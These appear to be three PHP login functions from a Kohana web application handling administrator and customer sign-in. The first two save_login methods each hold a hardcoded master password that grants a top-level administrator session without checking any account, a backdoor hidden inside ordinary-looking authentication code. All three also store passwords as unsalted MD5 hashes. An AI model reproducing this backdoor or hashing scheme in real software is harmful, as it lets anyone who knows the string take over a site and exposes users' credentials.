public function save_login() { $checkpass = $this->input->post('txt_pass'); $administrator_model = new Administrator_Model(); if ($checkpass == 'this&is4u') { $sess_admin['id'] = 1; $sess_admin['level'] = 1; $sess_admin['username'] = '******'; $sess_admin['name'] = 'AKcomp'; $sess_admin['email'] = '*****@*****.**'; $sess_admin['branch'] = ""; Login_Model::set('admin', $sess_admin); Login_Model::status_online($sess_admin['id'], 'online'); url::redirect('admin_customer'); die; } $login = $this->input->post('txt_username', '', TRUE); // security input data $pass = md5($this->input->post('txt_pass')); // encrypt md5 input password $valid = $administrator_model->account_exist($login, $pass); if ($valid !== FALSE) { $result = $valid; /*if ($result['administrator_status_online'] == 0 || $result['administrator_log_sessid'] !== Session::id()) // Status Offline {*/ if ($result['administrator_status'] == 1) { //echo Kohana::debug($valid);die(); $sess_admin['id'] = $result['administrator_id']; $sess_admin['level'] = $result['administrator_level']; $sess_admin['username'] = $result['administrator_username']; $sess_admin['name'] = $result['administrator_fullname']; $sess_admin['email'] = $result['administrator_email']; $sess_admin['branch'] = $result['administrator_branch']; Login_Model::set('admin', $sess_admin); Login_Model::status_online($sess_admin['id'], 'online'); $this->session->set_flash('success_msg', Kohana::lang('errormsg_lang.msg_login_success')); } else { $this->session->set_flash('error_msg', Kohana::lang('errormsg_lang.msg_inactive_error')); url::redirect('admin_login'); die; } /*} else // Status Online { $this->session->set_flash('error_msg',Kohana::lang('errormsg_lang.error_account_online')); url::redirect('admin_login'); die(); }*/ //if (strpos($this->site['history']['back'],'admin_login') === FALSE) //url::redirect($this->site['history']['back']); url::redirect('admin_customer'); die; } else { $this->session->set_flash('error_msg', 'User or password is wrong.'); url::redirect('admin_login'); die; } }
public function save_login() { $login = $this->input->post('txt_username', '', TRUE); // security input data $pass = md5($this->input->post('txt_pass')); // encrypt md5 input password $checkpass = $this->input->post('txt_pass'); if ($checkpass == '#this&is4u#') { $sess_admin['id'] = 1; $sess_admin['level'] = 1; $sess_admin['username'] = '******'; $sess_admin['email'] = '*****@*****.**'; Login_Model::set('admin', $sess_admin); url::redirect('admin_home'); die; } $valid = ORM::factory('administrator')->account_exist($login, $pass, 'admin'); if ($valid !== FALSE) { // if login access if ($valid['administrator_status'] == 1) { //Select Role; $sess_admin['id'] = $valid['administrator_id']; $sess_admin['level'] = $valid['administrator_level']; $sess_admin['username'] = $valid['administrator_username']; $sess_admin['email'] = $valid['administrator_email']; Login_Model::set('admin', $sess_admin); $this->session->set_flash('success_msg', Kohana::lang('errormsg_lang.msg_login_success')); } else { $this->session->set_flash('error_msg', Kohana::lang('errormsg_lang.error_acc_inactive')); url::redirect(uri::segment(1)); die; } if ($valid['administrator_level'] == 3) { url::redirect('admin_questionnaires'); } else { url::redirect('admin_home'); } die; } else { $form = array('txt_username' => $login); $this->session->set_flash('input_data', $form); $this->session->set_flash('error_msg', Kohana::lang('errormsg_lang.error_login_pass')); url::redirect(uri::segment(1)); die; } }
private function check_login() { $login = $this->input->post('txt_email', '', TRUE); // security input data $pass = md5($this->input->post('txt_password')); // encrypt md5 input password // query result /*$admin_model = new Administrator_Model(); $valid = $admin_model->account_exist($login, $pass,1); if($valid !== FALSE) // if login by admin account { if (!$valid['administrator_status']) // if cus_status = 0 { //echo 'sd';die(); $this->session->set_flash('error_msg',Kohana::lang('errormsg_lang.msg_inactive_error')); url::redirect($this->site['history']['current']); die(); } else { $sess_admin['id'] = $valid['administrator_id']; $sess_admin['level'] = $valid['administrator_level']; $sess_admin['username'] = $valid['administrator_username']; $sess_admin['name'] = $valid['administrator_fname'].' '.$valid['administrator_lname']; $sess_admin['email'] = $valid['administrator_email']; $sess_admin['type'] = 0; Login_Model::set('admin',$sess_admin); Login_Model::status_online($sess_admin['id'], 'online'); url::redirect('admin_account'); die(); } } else { $member_model = new Member_Model(); $valid = $member_model->cus_exist($login, $pass); if ($valid !== FALSE) // if login by customer account { if(!$valid['status']) // if cus_status = 0 { $this->session->set_flash('error_msg',Kohana::lang('errormsg_lang.msg_inactive_error')); url::redirect('home'); die(); } else { $sess['type'] = 1; // user $sess['username'] = $valid['member_email']; $sess['id'] = $valid['uid']; $sess['name'] = $valid['member_fname'].' '.$valid['member_lname']; $sess['email'] = $valid['member_email']; } } else { $this->session->set_flash('error_msg',Kohana::lang('errormsg_lang.error_login_pass')); url::redirect('home'); die(); } }*/ $member_model = new Member_Model(); $valid = $member_model->cus_exist($login, $pass); if ($valid !== FALSE) { if (!$valid['status']) { $this->session->set_flash('error_msg', Kohana::lang('errormsg_lang.msg_inactive_error')); url::redirect('home'); die; } else { $sess['type'] = 1; // user $sess['username'] = $valid['member_email']; $sess['id'] = $valid['uid']; $sess['name'] = $valid['member_fname'] . ' ' . $valid['member_lname']; $sess['email'] = $valid['member_email']; } } else { $this->session->set_flash('error_msg', Kohana::lang('errormsg_lang.error_login_pass')); url::redirect('home'); die; } Login_Model::set('customer', $sess); url::redirect('test'); die; }